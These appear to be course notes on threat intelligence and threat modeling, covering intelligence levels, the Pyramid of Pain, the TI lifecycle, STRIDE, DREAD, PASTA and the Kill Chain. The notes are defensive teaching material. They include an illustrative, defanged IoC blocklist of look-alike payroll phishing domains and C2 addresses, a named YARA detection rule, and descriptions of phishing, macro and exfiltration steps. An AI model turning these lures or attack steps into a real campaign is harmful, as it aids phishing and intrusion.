Who uses it (class notes, which call TI the central component informing every other security function): security leadership (decides spending from what it knows of its threats), SOC or security operations (faster event triage with outside context), vulnerability management (patch what is exploited now), incident response (scoping, attribution, remediation), threat analysts and hunters.
Strategic, operational and tactical intelligence
Intelligence is sorted by who acts on it and how soon it goes stale.
| Point | Strategic | Operational | Tactical (technical) |
|---|---|---|---|
| Deck's phrase | the big picture | the campaign picture; bridges strategy and the day-to-day | the immediate picture; machine-speed |
| Question | who targets our sector, and why? | which campaign is active now: who, what, how? | exactly what to block or search for? |
| Audience | CISO, board, chief risk officer, executives | SOC manager, incident response (IR) teams, IT security lead | tools (SIEM, firewall, EDR); SOC analysts to validate alerts and enrich investigations |
| Horizon | months to years | days to weeks; updated daily or weekly from sharing communities, vendors, government alerts | real time to hours: near real time, hours old at most |
| Format | reports, briefings, landscape papers | campaign reports, actor advisories, TTP briefs | STIX/TAXII feeds, CSV blocklists, YARA and Sigma rules |
| Contains | actor profiling (APT groups, nation-state actors, criminal organizations in the sector); geopolitical and economic drivers; long-term trends in tooling, motives, targeting; sector threat landscape reports | active campaign tracking; adversary TTP details; context around IoCs (which campaign, how deployed); vulnerabilities exploited before patches are widespread; newly discovered ransomware families | machine-readable IoCs: IPs (C2 servers, scanners, botnet nodes), domains (phishing, DGA-generated, C2), hashes (MD5, SHA-256: samples, ransomware payloads, droppers), URLs (phishing, malware downloads, credential harvesting), email indicators (senders, subjects, attachment names), YARA and Sigma rules |
| How used | security strategy and multi-year roadmap; investment decisions, risk appetite, long-term defensive posture; risk management and board reporting; vendor selection and control prioritization; threat modeling at enterprise architecture level | near-term decisions (emergency firewall rules, accelerated patching, network changes for DDoS mitigation); context for incident responders; hunt hypotheses; triggers SOAR playbooks on matching campaign activity | SIEM feeds (alert when an IoC appears in logs); firewall and proxy blocklists; EDR isolates endpoints matching a hash; SOAR playbooks (enrichment, ticket, response); high volume, so automated |
| Goes stale | slowly: useful 12 months or more | quickly: in days, as the campaign evolves | within 24 to 48 hours, as infrastructure rotates; freshness is everything |
| Action taken | review security architecture; reprioritize the multi-year investment roadmap | brief staff this week, update SIEM rules, block listed domains | ingest automatically: block, alert, no human decision |
| Deck's key point | not what to patch today: what the CISO invests in over 18 months and says to the board about risk | a campaign happening now: a human reads it and acts within days, not months, not minutes | no human reads it to decide: SIEM, firewall, EDR consume it within minutes |
Memory example: the monsoon outlook that makes the municipality clear drains before June is strategic; this week's heavy rain forecast that moves the college picnic is operational; the first drops that open the umbrella are tactical.
The deck's running scenario: one campaign at three levels
The TA577 / Qakbot campaign against the EMEA (Europe, Middle East and Africa) financial sector, March 2024, shown as three example reports.
- Example 1, strategic (audience CISO, board, chief risk officer; months to years): Lazarus Group, attributed to North Korea's Reconnaissance General Bureau, has targeted cryptocurrency exchanges and DeFi (decentralized finance) platforms since 2017, stealing an estimated 3 billion dollars to fund the state's weapons program; it infiltrates developer environments and supply chains for months before money moves; dwell times of 6 to 18 months are common. Meaning for the organization: digital asset holders are persistent, high-probability targets regardless of geography; segregating custody infrastructure from internet-facing systems is a multi-year architectural priority; social engineering of treasury and finance staff is the main initial access vector, so long-term awareness investment is warranted. Sources: Mandiant M-Trends 2024, UN Panel of Experts report 2024.
- Example 2, operational (audience SOC manager, incident response, IT security lead; days to weeks): TA577, financially motivated, phishes finance and HR staff at mid-sized companies with emails impersonating payroll software vendors ADP and Workday; a malicious OneNote attachment deploys Qakbot on click; active six days across EMEA; under four hours from first click to credential theft. Actions this week: enable SIEM rules for scripts embedded in OneNote files; urgent brief with screenshots to finance and HR staff; block the sender domains in the IoC feed; escalate staff who report suspicious ADP or Workday emails today. Sources: FS-ISAC Flash Alert FA-2024-0891, Proofpoint Threat Research on TA577.
- Example 3, tactical or technical (audience SIEM, firewall, EDR, a SOC analyst for validation; real time to hours): the IoC feed, from a MISP community feed, an FS-ISAC TAXII pull and Proofpoint ET (Emerging Threats) Intelligence, written defanged here (the deck's three real C2 addresses shown as RFC 5737 documentation addresses):
IoC feed: TA577 Qakbot campaign, March 2024
Sender domains (block at email gateway and proxy)
payroll-adp-secure[.]com workday-hrportal[.]net
Command and control IP addresses (block outbound)
192.0.2[.]15 198.51.100[.]27 203.0.113[.]99
File hash, Qakbot dropper (SHA-256)
a3f1c2d4e5b6a7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2
YARA detection rule
Qakbot_OneNote_Dropper_Mar2024
(strings: onenote_embed, qbot_mutex, ransom_ext)
Confidence: HIGH Feed entries: 847 Auto-ingest via TAXII
Each line says where it is enforced: domains at the email gateway and proxy, IPs outbound, the hash on endpoints. The deck gives the YARA rule only by name and string identifiers (written with YARA's dollar-sign prefix on the slide); by their names they match the script embedded in the OneNote file, the mutex Qakbot creates (a host artifact, the annoying level of the Pyramid of Pain) and the extension of the ransomware that often follows Qakbot. Content matching still catches repacked droppers. The values are illustrative: the hash is a placeholder.
The bank version (the deck's three detail slides): a bank's CISO receives a quarterly report that APT41 is actively targeting SWIFT infrastructure in South-East Asia and adjusts the security investment roadmap to accelerate the MFA roll-out for treasury systems (strategic); an ISAC advisory warns that the LockBit affiliate group is exploiting CVE-2024-XXXX (number left blank in the deck) against VPN appliances, so the SOC manager triggers an emergency patch review and activates SIEM detection rules (operational); a TAXII feed pushes 200 new malicious IPs at 02:00, by 02:01 ingested by the SIEM and blocklisted by the firewall, with an alert that one was in yesterday's web proxy logs (tactical).
SWIFT attacks in the region: the 2016 theft of 81 million dollars from Bangladesh Bank, tied by the US Justice Department to Lazarus Group; in 2017, during the Tihar holidays, about 4.4 million dollars in fraudulent SWIFT transfers from Nepal's NIC Asia Bank, most recovered.
The deck's intelligence type comparison (time horizon, primary audience): strategic, months to years, CISO, board, executives; operational, days to weeks, SOC managers and IR teams; tactical or technical, hours to real time, SOC analysts, SIEM, EDR. Mature TI programs layer all three: strategic informs what to hunt for (and what to worry about), operational where and how, tactical gives the tools the raw data to act automatically. Tactical indicators sit at the bottom of the Pyramid of Pain, TTPs at the top.
The class notes' version:
- Strategic: the long-term "who" and "why": TTP trends, industry targeting, adversaries' intent, motivations and capabilities; for high-level decisions, risk management and threat modeling; an APT intelligence report is typical.
- Operational: daily or weekly; specific emerging threats such as a new ransomware or DDoS campaign; context, mechanisms and indicators for proactive incident response.
- Tactical: immediate or near real time (NRT); the "what" and "how": specific adversary TTPs and indicators of compromise (IoCs), often raw feeds such as CSV files of IPs, domains and hashes, fed straight into the SIEM.
Some sources split four types: tactical (TTPs, for defenders) and technical (raw IoCs, for tools). The notes' worked answer follows that split: strategic (overarching risks and trends) for decision makers and executives; tactical (attackers' TTPs) for security defenders, network administrators and IT staff, to anticipate the methods and strengthen defenses against common attack vectors; operational (nature, timing, objectives and methods of a specific attack) for incident response teams and SOC analysts.
The Pyramid of Pain: which indicators hurt the attacker
Pyramid of Pain (David J. Bianco, 2013): six kinds of indicator ranked by how much pain it causes the adversary when defenders detect and deny it. An indicator's value to the defender equals the attacker's cost of replacing it; the model shows how effective a team's indicators are and where security investment gives most value. Bringing it together, the deck's one line: harder IoCs to detect mean a greater cost imposed on adversaries; the bottom is easy for the attacker to rotate, the top hardest to change.
Figure: the six-band pyramid with its pain words, and an arrow showing pain rising to the top
| Level | Example | Pain | To get past the block, the attacker must |
|---|---|---|---|
| 1. Hash values | SHA-256 of a dropper | Trivial | recompile or change one byte |
| 2. IP addresses | a C2 server's address | Easy | move to another server or proxy |
| 3. Domain names | a phishing domain | Simple | register another; DGAs make thousands |
| 4. Network and host artifacts | URI pattern, User-Agent, registry key, mutex, file path | Annoying | reconfigure or recompile the tool |
| 5. Tools | Mimikatz, a particular RAT | Challenging | find or build and learn a new tool |
| 6. TTPs | dumping credentials from memory; Office launching PowerShell | Tough! | change how they operate |
Why moving up is more effective:
- Bottom of the pyramid (low value), indicators expire fast: hashes and IPs are disposable; a slightly altered sample has a new hash, a different server a new IP; a block stops one sample or server and the attacker is back in minutes (a treadmill the attacker sets the speed of).
- Top of the pyramid (high value), real cost: detecting tools and above all TTPs is challenging and tough for the attacker: it must abandon preferred methods, build new tools, change how it operates; weeks and money; it can neutralize a whole attack methodology, and attackers often give up.
- High indicators generalize: a detection for "Word starts PowerShell" catches every macro campaign, whatever the hash, IP or domain.
- Longer shelf life: months or years against hours.
- Fits ATT&CK: ATT&CK catalogs TTPs, so ATT&CK-based detection works at the top.
Trade-off: bottom indicators are cheap, exact and automatable; top ones need telemetry, skill and tuning and give more false positives. Automate the bottom, spend human effort at the top.
The deck's slide stacks the levels as bars widening upward (TTPs on the widest bar, hash values on the narrowest); Bianco's original is a true pyramid with hash values on the wide base. Same order, same pain words.
Example: block the attachment hash, the attacker repacks it the same afternoon; block the domain, a new one arrives next day; detect Office starting a script interpreter that downloads and runs code, and the campaign fails until the delivery method changes.
The threat intelligence lifecycle: six phases in a loop
Lifecycle: planning and direction, collection, processing, analysis, dissemination, feedback. Raw data enters at collection, intelligence leaves at dissemination, feedback refines the requirements. Each phase depends on the one before, so it is a loop, not a pipeline.
Figure: six phases in a ring, feedback returning to planning; analysis marked as the phase that cannot be automated
| Phase and its job | What it is, and what happens | Common failure | Without this phase |
|---|---|---|---|
| 1. Planning and direction: decide what you need to know before collecting anything | defines the intelligence requirements, the questions decisions depend on, and so the scope and priority of all later work; stakeholders (CISO, SOC, IR team) set priority intelligence requirements (PIRs), turned into specific questions ("which APTs target our sector?"); sources and methods chosen to fit; timelines, formats and consumers agreed; existing gaps documented | skipping it: feeds collected with no decision to support, volumes of data nobody acts on | data collected at random, intelligence nobody asked for, every resource downstream wasted: collect everything, use nothing |
| 2. Collection: gather raw data from sources relevant to the requirements | systematic gathering of raw data, not yet intelligence; its quality limits the finished product. OSINT (open web, dark web forums, paste sites, social media, CVE databases); commercial feeds (Recorded Future, Mandiant, CrowdStrike); government and ISAC sharing (CISA alerts, FS-ISAC); internal telemetry (SIEM logs, EDR alerts, firewall data, incident records); human intelligence (peer networks, vendor briefings, conferences) | collecting everything regardless of phase 1, overwhelming analysts; "threat intel fatigue" is almost always a collection problem | no raw material, or analysts buried in irrelevant data that obscures genuine signals |
| 3. Processing: transform raw data into a form analysts can work with | normalizes, deduplicates, translates and structures; largely technical and automated; adds no judgment. Parse feeds (STIX/TAXII bundles, CSV IoC lists, JSON); normalize to a common schema (MISP, OpenCTI); deduplicate; filter to the requirements; translate; enrich (IP geolocation, WHOIS, VirusTotal, Shodan) | sending raw data straight to analysts; an analyst parsing CSV files by hand is doing a job that should be automated | skilled analysts waste time on data cleaning; the cycle slows to a crawl |
| 4. Analysis: the human step, where data becomes intelligence | skilled judgment; the only phase that cannot be fully automated. Assess source reliability and information credibility; find patterns, correlations, anomalies; apply ATT&CK and the Diamond Model; assign confidence (high, medium, low); produce strategic reports, operational briefs, IoC feeds, each tailored to its audience | producing products without stated confidence or evidence: low-confidence guesses treated as facts, high-confidence ones dismissed as speculation | data products, not intelligence: information decision makers cannot act on, lacking judgment, context, recommendations |
| 5. Dissemination: right intelligence, right person, right format, right time | delivery to the people and systems that need it; format, timing and audience matter as much as content, and a perfect report to the wrong person in the wrong format is as useless as none. Strategic reports (PDF, slides) to CISO, board, risk committees; operational briefs (email alert, ticket) to SOC managers and IR leads; tactical feeds (STIX/TAXII, CSV, API) into SIEM, firewall, EDR; briefings timed to decision cycles; access controls; TLP markings | one format for all: a 40-page APT report to a firewall administrator, a raw IP blocklist to the CISO | reports nobody reads, the wrong readers, or too late for the decision it was meant to support |
| 6. Feedback: close the loop, or the cycle slowly breaks down | structured input from consumers: accurate, timely, relevant, actionable? It makes the lifecycle a cycle, not a pipeline. Products rated; requirements updated; sources reprioritized (drop low-signal, add new); analysis methods refined where wrong or overconfident; formats improved; new gaps back to phase 1 | treating feedback as optional: the same products forever, never knowing if read or used; the cycle gradually detaches from the organization's actual security needs | the cycle runs open-loop: requirements stop reflecting needs, quality degrades silently, credibility is lost |
Each phase slide has a box labeled key question that repeats the "without this phase" warning; the question each phase answers is its job: what to know, where the raw data is, what form analysts can use, what it means, who needs it and when, did it work.
Mnemonic: Pujari Chiya Piudai Aafno Dhoti Fyaakyo (the priest, sipping tea, flung off his own dhoti): P C P A D F, planning and direction, collection, processing, analysis, dissemination, feedback.
Example (the deck's bank): PIRs before a digital banking rollout: (1) which actors target mobile banking infrastructure, (2) current attack trends against fintech APIs, (3) fraud techniques emerging in the region. For PIR 2, collection of OWASP API Security feeds, dark web chatter on API key theft tools, CISA advisories tagged API security, 90 days of own API gateway logs; processing in MISP (duplicate IPs from three feeds merged, dark web posts machine translated, WHOIS, VirusTotal and Shodan enrichment); analysis correlates three incidents with one pattern, BOLA (Broken Object Level Authorization), mapped to the OWASP API Security Top 10 and ATT&CK T1078 (Valid Accounts), HIGH confidence, brief to the development security team; dissemination as a two-page technical memo (operational), three slides to the CISO before the quarterly risk review (strategic), IoCs over TAXII to the API gateway's WAF (tactical); feedback: the feed was useful at once, the memo arrived after patching, so flag active exploitation earlier: a faster alert trigger in PIR 2 and a 24-hour SLA for operational findings.
BOLA: an API that returns whatever object the request names without checking the caller owns it (change /accounts/1001 to /accounts/1002 and read another customer's account); API1 of the OWASP API Security Top 10, OWASP's list of the ten most critical API risks; the flaw proactive threat modeling designs out.
- Admiralty code: source reliability A (completely reliable) to F (cannot be judged); information credibility 1 (confirmed) to 6 (cannot be judged); "B2" is a usually reliable source, probably true.
- TLP 2.0 (FIRST): RED named recipients only; AMBER+STRICT the recipient's organization; AMBER the organization and its clients, need to know; GREEN the community, not public; CLEAR no limit.
It is the classic intelligence cycle (planning and direction, collection, processing, analysis and production, dissemination) with feedback made a phase of its own.
Where threat intelligence comes from, and how it is shared
| Source | Gives | Examples | Strength and limit |
|---|---|---|---|
| OSINT | public reports, vulnerability databases, blogs, paste sites, social media, dark web forums | NVD CVE database, CISA Known Exploited Vulnerabilities catalog, abuse.ch, AlienVault OTX | free and broad; noisy, must be verified |
| Commercial | curated, analyzed intelligence with context and confidence | Recorded Future, Mandiant, CrowdStrike | timely; costly, generic unless tuned |
| Government and ISACs | sector alerts and advisories | CISA, national CERTs, FS-ISAC | relevant, trusted; membership and rules |
| Internal telemetry | what attackers tried against you | SIEM, EDR, firewall and proxy logs, incidents, reported phishing | most relevant; only what you can see |
| Human | early warnings and context | CISO peer groups, vendor briefings, conferences | early; informal, hard to scale |
- STIX: JSON language describing intelligence as objects (indicator, malware, threat actor, attack pattern, campaign) and relationships; an OASIS standard.
- TAXII: HTTPS protocol that carries STIX. STIX is the letter, TAXII the postal service.
- MISP, OpenCTI: open-source platforms to store, correlate and share; a commercial TIP does the same and pushes to SIEM, firewall and EDR.
- TLP markings limit sharing.
{ "type": "indicator", "spec_version": "2.1",
"name": "Phishing domain used in a payroll lure",
"pattern": "[domain-name:value = 'payroll-portal.example']",
"pattern_type": "stix", "valid_from": "2026-03-04T00:00:00Z" }
Using a feed in a SIEM (class notes, Logpoint):
- Field mapping: SIEM fields (
source_address,destination_address,url,hash) matched to feed fields (ip_address,domain,category); one feed field can map to several. - Enrichment: each log is checked against the intelligence table; a match adds context (
threat_category=C&C,threat_score=100) and raises a high-fidelity alert.
Example: a feed lists 203.0.113.45 as C2 (confidence high, TLP:GREEN); a firewall log with destination_address=203.0.113.45 is tagged and alerts, naming the internal host. The class notes' Logpoint example is the same with destination_address=66.66.66.66: a plain log turned into a high-fidelity alert automatically.
Good intelligence is relevant, timely, accurate and actionable. Beware shared infrastructure (a CDN address blocks thousands of sites). Indicators are written defanged: hxxps://bad-domain[.]example.
Threat modeling: finding what can go wrong before an attacker does
Threat modeling: a structured process for identifying, analyzing and prioritizing the security threats to a system, best done at design so countermeasures are built in. It shifts security from reactive to proactive. The deck's motto: think like an attacker, build like a defender; it treats security as a design concern, not an afterthought. The class notes: a security process in which potential threats are identified, categorized and analyzed, begun early in design and continued through the system's lifecycle, as in Microsoft's SDL.
Four questions (Adam Shostack's framing):
- What are we building? (a data flow diagram)
- What can go wrong? (STRIDE, attack trees, ATT&CK)
- What are we going to do about it? (mitigate, transfer, accept, remove)
- Did we do a good job? (review, test, repeat)
- Why: risks found early are cheapest to fix; avoids costly reactive security; risk-based spending on controls; one shared picture for designers, developers, testers.
- How: security, development, architecture and business people together; map the system, identify threats, simulate attacker behavior, prioritize mitigations; at design, development, before release and periodically on live systems.
- Goals (SD3+C), from Microsoft's SDL: fewer security-related design and coding defects, lower severity of the rest, so lower overall risk. Motto SD3+C: secure by design, by default, in deployment, and communication.
| Point | Proactive (defensive) | Reactive (adversarial) |
|---|---|---|
| When | requirements and design | after the product is built and deployed |
| Viewpoint | defender predicting threats | attacker trying to break it |
| Methods | DFD with STRIDE, design review, SDL | penetration testing, ethical hacking, code review, fuzz testing |
| Output | controls designed in | vulnerabilities found and fixed |
| Cost of fix | lowest | highest |
| Limit | cannot foresee everything | finds flaws late |
| Example | DFD shows the banking API trusting the account number sent by the app; server-side ownership check added | a tester changes the account number and reads another customer's balance; fix needs a new release |
Fuzz testing: floods a program with invalid, random or crafted inputs to stress its limits and find crashes, hangs and memory errors such as buffer overflows. The two approaches complement each other: threat modeling at design, fuzzing and penetration testing at verification.
The threat modeling process, step by step
Vocabulary: asset (what is protected), threat (possible harmful event), threat actor (who carries it out), vulnerability (weakness), attack (action using a vulnerability), attack scenario (actor plus vulnerability plus impact, as in "credential stuffing leads to account takeover"), countermeasure (safeguard). Microsoft's analogy: jewelry is the asset, the burglar the attacker, an open door the vulnerability, locking the door the countermeasure.
Six steps (Microsoft patterns and practices, 2003):
- Identify assets.
- Create an architecture overview: use cases, a diagram with subsystems, trust boundaries and data flows, the technologies.
- Decompose the application: a security profile (reduction analysis).
- Identify the threats: STRIDE per element, lists of common threats, attack trees.
- Document the threats: description, target, attack techniques, countermeasures; risk left blank. The notes: each threat documented with its means, target and consequences.
- Rate the threats: High, Medium or Low as probability times damage, or DREAD; biggest first.
Three ways to identify threats: asset-focused (asset valuation, threats to the most valuable assets), attacker-focused (likely attackers and their goals), software-focused (threats against the software itself).
The class notes' four-step sequence (the order of CISSP study material), the same work grouped differently:
| Notes' step | What it does | Microsoft step |
|---|---|---|
| 1. Identifying threats | asset-, attacker- or software-focused | 4 |
| 2. Determining and diagramming potential attacks | identify all technologies (OS, applications, protocols); draw attack paths, usually attack trees | 2 and 4 |
| 3. Performing reduction analysis | trust boundaries, data flow paths, input points, privileged operations, security stance | 3 |
| 4. Remediation of threats | document (means, target, consequences), rank High, Medium, Low or DREAD, decide the response | 5 and 6 |
Reduction analysis (decomposition): understand the logic and its interaction with external elements; analyze shared code (the same form fields) once, avoiding duplicated effort. It identifies the notes' 5 key concepts:
- Trust boundaries: where trust changes (internet to web server).
- Data flow paths.
- Input points: forms, APIs, uploads.
- Privileged operations: actions needing more than normal rights.
- Details about security stance and approach: policy, foundations, assumptions.
Attack trees (Bruce Schneier, 1999): goal at the root, ways to reach it as branches; AND nodes need all children, OR nodes any one.
Goal: obtain user credentials by monitoring the network
1.1 clear-text credentials are sent over the network AND
1.2 the attacker runs a network monitoring tool
1.2.1 the attacker recognizes the credential data
Encrypting with TLS removes 1.1, so the goal fails.
Attack surface: all points where an attacker can get in or data out (ports, services, APIs, inputs, accounts, third-party links); the notes: the sum of all vulnerabilities or weaknesses in security controls an attacker could exploit, the attack vectors. Attack surface analysis: a proactive assessment of the strengths and weaknesses of security controls; thinking like an attacker, identify vulnerabilities, understand the threat landscape, minimize the attack vectors (close unused ports, remove unused features, retire old accounts).
STRIDE: six categories of threat
STRIDE: a threat categorization model from Microsoft (Loren Kohnfelder and Praerit Garg, 1999), built as a structured way to identify threats during system design: a checklist of threat types, covering the full spectrum of security concerns, applied to each element of a data flow diagram; the notes: used to categorize threats against applications or operating systems.
| Letter | Threat (the deck) | Property violated | Example | Countermeasure |
|---|---|---|---|---|
| S | Spoofing: pretending to be someone or something else to gain unauthorized access | authentication | stolen credentials, forged sender, ARP spoofing | MFA, signed tokens |
| T | Tampering: unauthorized modification of data or code | integrity | changed transfer amount, edited config, SQL injection | validation, hashes, signatures |
| R | Repudiation: denying having performed an action, with no way to prove otherwise | non-repudiation | customer denies a transfer, no reliable log | tamper-evident logs, signatures, timestamps |
| I | Information disclosure: exposure of information to unauthorized parties | confidentiality | verbose errors, open bucket, clear-text sniffing | encryption, access control |
| D | Denial of service: disrupting availability, so legitimate users cannot reach it | availability | login flood, unbounded query | rate limiting, quotas, redundancy |
| E | Elevation of privilege: gaining higher access rights than intended or authorized | authorization | user reaches admin API, buffer overflow to root | least privilege, authorization checks |
The class notes' one-line definitions: spoofing, gaining access with a falsified identity (a fake IP address or username); tampering, unauthorized modification of data; repudiation, denying that an action was performed; information disclosure, the revelation or distribution of private, confidential or controlled information to unauthorized entities; denial of service, preventing legitimate users from accessing the system; elevation of privilege, gaining higher-level permissions than authorized.
STRIDE per element:
| Element | Threats |
|---|---|
| External entity | S, R |
| Process | S, T, R, I, D, E |
| Data store | T, I, D, and R if it holds logs |
| Data flow | T, I, D |
Example (online banking): S leaked password, use MFA; T changed amount, validate and sign; R denied transfer, tamper-evident log; I readable backup, encrypt; D login flood, rate limit; E admin API called directly, check authorization everywhere.
Widely used: simple, systematic, fits developers, early in design, free Microsoft Threat Modeling Tool. Limits: does not rate threats (DREAD) or tie them to business impact (PASTA).
DREAD: rating a threat with five questions
DREAD: a scoring model originally developed by Microsoft to rate the severity of threats and prioritize them after they are found. Purpose: turn a list of threats into comparable numbers, "which first?". Each letter is a risk dimension, scored typically 1 to 10 or 1 to 3.
| Letter | Question (the deck) | High score means |
|---|---|---|
| Damage potential | how severe is the harm if exploited: data loss, system compromise, reputational damage? | full compromise, admin rights, breach |
| Reproducibility | how easily reproduced: can anyone replicate it, or does it need rare conditions? | works every time |
| Exploitability | how much skill, effort or tooling to launch it? | a novice, existing tools |
| Affected users | what proportion of users or systems: all, just admins, a small subset? | all users, default configuration |
| Discoverability | how easy for an attacker to find in the first place: is it publicly known? | publicly known, visible in the browser |
The notes' shorter questions: damage potential, how severe will the damage be; reproducibility, how easy to reproduce the attack; exploitability, how hard to perform the attack; affected users, what percentage affected; discoverability, how hard to find the weakness. In the notes DREAD is one way to rank documented threats, the other being High, Medium or Low.
Scales: 1 to 10 averaged; or 1 to 3 summed to 5 to 15 (Microsoft): 12 to 15 high, 8 to 11 medium, 5 to 7 low.
Example (the deck's pen test, 1 to 10):
| Finding | D | R | E | A | D | Average |
|---|---|---|---|---|---|---|
| SQL injection on login page | 9 | 9 | 8 | 10 | 8 | 8.8 |
| Admin panel reachable from internet | 9 | 7 | 5 | 9 | 8 | 7.6 |
| Verbose errors with server version | 3 | 10 | 9 | 2 | 9 | 6.6 |
Fix the SQL injection now, put the admin panel behind VPN or allow list with MFA, then suppress detailed errors.
Direction: the deck calls exploitability difficulty ("a low score means it's trivially easy") and the notes say "how hard"; Microsoft's table scores every dimension so higher means more risk. Criticisms: subjective, discoverability rewards obscurity, repeatable dimensions inflate harmless findings. Microsoft later stopped using DREAD; many use CVSS or likelihood times impact.
PASTA: a seven-stage, risk-centric method
PASTA (Process for Attack Simulation and Threat Analysis): a seven-stage, risk-centric and business-aware threat modeling methodology by Tony UcedaVelez and Marco Morana (2012; book 2015). Starts from business objectives, simulates how attackers chain weaknesses, ends by ranking countermeasures by business impact. Unlike DREAD, a scoring rubric, PASTA is a full methodology.
Figure: the seven stages as a flow, stages I and VII the business view, II to VI the technical and attacker view, with a return from VII to I
- Define objectives (DO): business goals, compliance requirements, risk appetite; which regulations must be incorporated?
- Define technical scope (DTS): map the technical environment, the attack surface: infrastructure, applications, dependencies, data flows, down to API endpoints, the web application, DNS servers.
- Application decomposition (ADA): components, data flows, trust boundaries, entry points, assets: how everything communicates and comes together.
- Threat analysis (TA): realistic threats from threat intelligence, attacker profiles, historical data, for what the application does and the attack surface of stage II; ATT&CK plugs in here.
- Vulnerability and weakness analysis (WVA): correlate known vulnerabilities (CVEs, SAST and DAST findings, misconfigurations) with the threats and the application's assets.
- Attack modeling and simulation (AMS): attack trees, simulating how an attacker would actually chain weaknesses; proves which stage V findings are viable.
- Risk and impact analysis: quantify business impact, prioritize and build the countermeasures that mitigate the threats that matter, decide residual risk. The class notes and Logpoint call it risk analysis and management (RAM).
Mnemonic: Oi Sasu, Daal Tato Vayena, Aba Ruwauchhu (oi mother-in-law, the daal is not hot, now I will make you cry): O S D T V A R, objectives, scope, decomposition, threat, vulnerability, attack, risk.
Figure: the class notes' Logpoint slide: the seven stages as coloured boxes in a loop under Logpoint's names (DO for the treatment of risks, DTS, ADA application decomposition and assertion, TA, WVA, AMS, RAM risk analysis and management), with a one-line note beside each stage
The notes' one-line definition: PASTA is a risk-centric approach that aims at selecting or developing countermeasures in relation to the value of the assets to be protected.
Risk-centric: business in (stage I), business impact out (stage VII). Costly; suits high-value applications.
Example (mobile banking app). Stage IV actors:
| Actor | Motivation | Capability |
|---|---|---|
| Organized cybercriminals | financial gain | high |
| Opportunistic attackers | financial gain | low to medium |
| Malicious insiders | financial gain, sabotage | medium |
| Nation-state actors | espionage, disruption | very high |
Stage IV threats: credential stuffing (leaked username and password lists used to get into accounts); man-in-the-middle (intercepting traffic between the mobile app and its API); API abuse (poorly secured endpoints used to reach account data without authorization); session hijacking (stolen session tokens used to impersonate users); insider fraud (privileged bank staff manipulating transactions or exfiltrating customer data); third-party compromise (attacking the bill payment gateway to intercept or redirect payments).
Stage V, threats correlated with weaknesses from code review, SAST and DAST scanning and infrastructure assessment: credential stuffing to no account lockout and MFA not enforced for all users; MitM to no certificate pinning in the app; API abuse to endpoints missing authorization checks; session hijacking to tokens that never expire and no anomaly detection on session use; insider fraud to excessive privileges for operations staff and no transaction audit logging; third-party compromise to an unvalidated gateway connection with no integrity checks on its responses.
| Stage VII scenario | Likelihood | Business impact | Priority |
|---|---|---|---|
| Credential stuffing, account takeover | high | critical: direct financial loss, regulatory breach | P1, fix immediately |
| API abuse, unauthorized data access | medium | critical: GDPR breach, regulatory fines | P1, fix immediately |
| Session hijacking | medium | high: account takeover, reputational damage | P2, fix before launch |
| Man-in-the-middle | low | high: data interception, credential theft | P2, fix before launch |
| Insider fraud | low | high: financial loss, regulatory scrutiny | P3, mitigate with controls |
| Third-party gateway compromise | low | medium: payment redirection, customer impact | P3, mitigate with controls |
| Point | STRIDE | DREAD | PASTA | ATT&CK |
|---|---|---|---|---|
| What | threat categories | rating scheme | seven-stage process | knowledge base of real behavior |
| Centered on | software design | severity | business risk and attacker | observed adversaries |
| Output | threats per element | score per threat | countermeasures by business impact | techniques to model, detect, test |
STRIDE finds, DREAD rates, PASTA wraps both in a business process, ATT&CK feeds its stage IV.
The Cyber Kill Chain: seven links an attacker must complete
Cyber Kill Chain: Lockheed Martin (Hutchins, Cloppert and Amin, 2011), from the military kill chain: seven sequential stages of an intrusion. The attacker must complete every link; the defender needs to break only one.
Figure: the seven stages left to right with the attacker's move and the defender's break under each, grouped as preparing, intrusion and inside the network
The deck: the sequential stages an adversary must complete to execute an attack, a structured map of where to detect, disrupt or respond at each stage. The notes: a model for the identification and prevention of cyber intrusion activity.
| Stage | Definition (the deck) | The deck's intrusion | Detect or break |
|---|---|---|---|
| 1. Reconnaissance | gathering information about the target before any attack: people, emails, tech, services | scrapes LinkedIn for IT staff, Shodan finds exposed RDP ports | scan logs, less exposure, intel |
| 2. Weaponization | packaging a payload and exploit into a deliverable weapon (exploit plus backdoor), on its own systems; the notes' example: a malicious PDF | macro-based backdoor embedded in a Word document | intel on tooling, malware analysis |
| 3. Delivery | transmitting the weapon to the target: email, web, USB | phishing email with the Word document to a finance employee | email gateway, sandbox, proxy, awareness |
| 4. Exploitation | triggering the exploit to execute code on the victim's system | document opened, macro exploits a vulnerable Office version | patching, macro blocking, EDR |
| 5. Installation | establishing persistence so access survives reboots and discovery | malware writes the Windows registry Run key, drops a RAT | EDR, autorun monitoring, allow-listing |
| 6. Command and control | opening a channel to control the compromised system remotely | RAT beacons to an attacker-controlled server over HTTPS every 60 s | egress filtering, DNS and proxy analysis, NDR |
| 7. Actions on objectives | carrying out the ultimate goal: steal, encrypt, destroy | customer database exfiltrated over the C2 channel | DLP, segmentation, outbound volume, backups |
Mnemonic: Ramesh WiFi Dekhera Ekdam Ijjat Chhodera Aaipugyo (Ramesh saw the WiFi and turned up, dignity completely dropped): R W D E I C A, one word a stage.
Figure: the lecture's kill chain picture: seven numbered hexagons linked top to bottom, each stage with an icon and a one-line definition (reconnaissance: harvesting email addresses, conference information; actions on objectives: with hands on keyboard access, intruders accomplish their original goals)
Courses of action (the original paper): detect, deny, disrupt, degrade, deceive, destroy. At C2: detect with NIDS, deny with a firewall rule, disrupt with an inline IPS, degrade with a tarpit, deceive with DNS redirection.
How it aids (analysts can say which stage an attacker has reached, not just "a virus"):
- Aiding threat detection: each stage leaves evidence in different logs; shows where to look and which stages are unwatched; early detection stops attacks before compromise (port scan monitoring detects reconnaissance, email gateways detect delivery); late-stage detection finds active breaches (outbound beaconing or connections to known bad IPs reveal C2); indicators become detections for the actor's next campaign.
- Aiding incident response: the stage sets priority and playbook: prioritization (blocked phish at delivery is low priority; C2 is critical, the attacker is inside with remote control); targeted response (delivery: find and delete the email from other inboxes; C2: block the IP at the firewall to sever the connection, isolate the host); actions on objectives, full incident response, maybe breach notification; work the chain backwards to the entry point.
- Aiding threat mitigation: breaking any single link stops the attack, which justifies defense in depth; controls mapped per stage expose thin spots. Mitigating delivery: awareness training, email security filters. Mitigating exploitation: robust patch management removes the vulnerability. Mitigating installation: endpoint anti-malware, application allow-listing (whitelisting). Mitigating C2: egress firewall rules allowing only known-good ports and destinations, so malware cannot call home. Mitigating actions on objectives: DLP, segmentation, backups. The earlier the break, the cheaper.
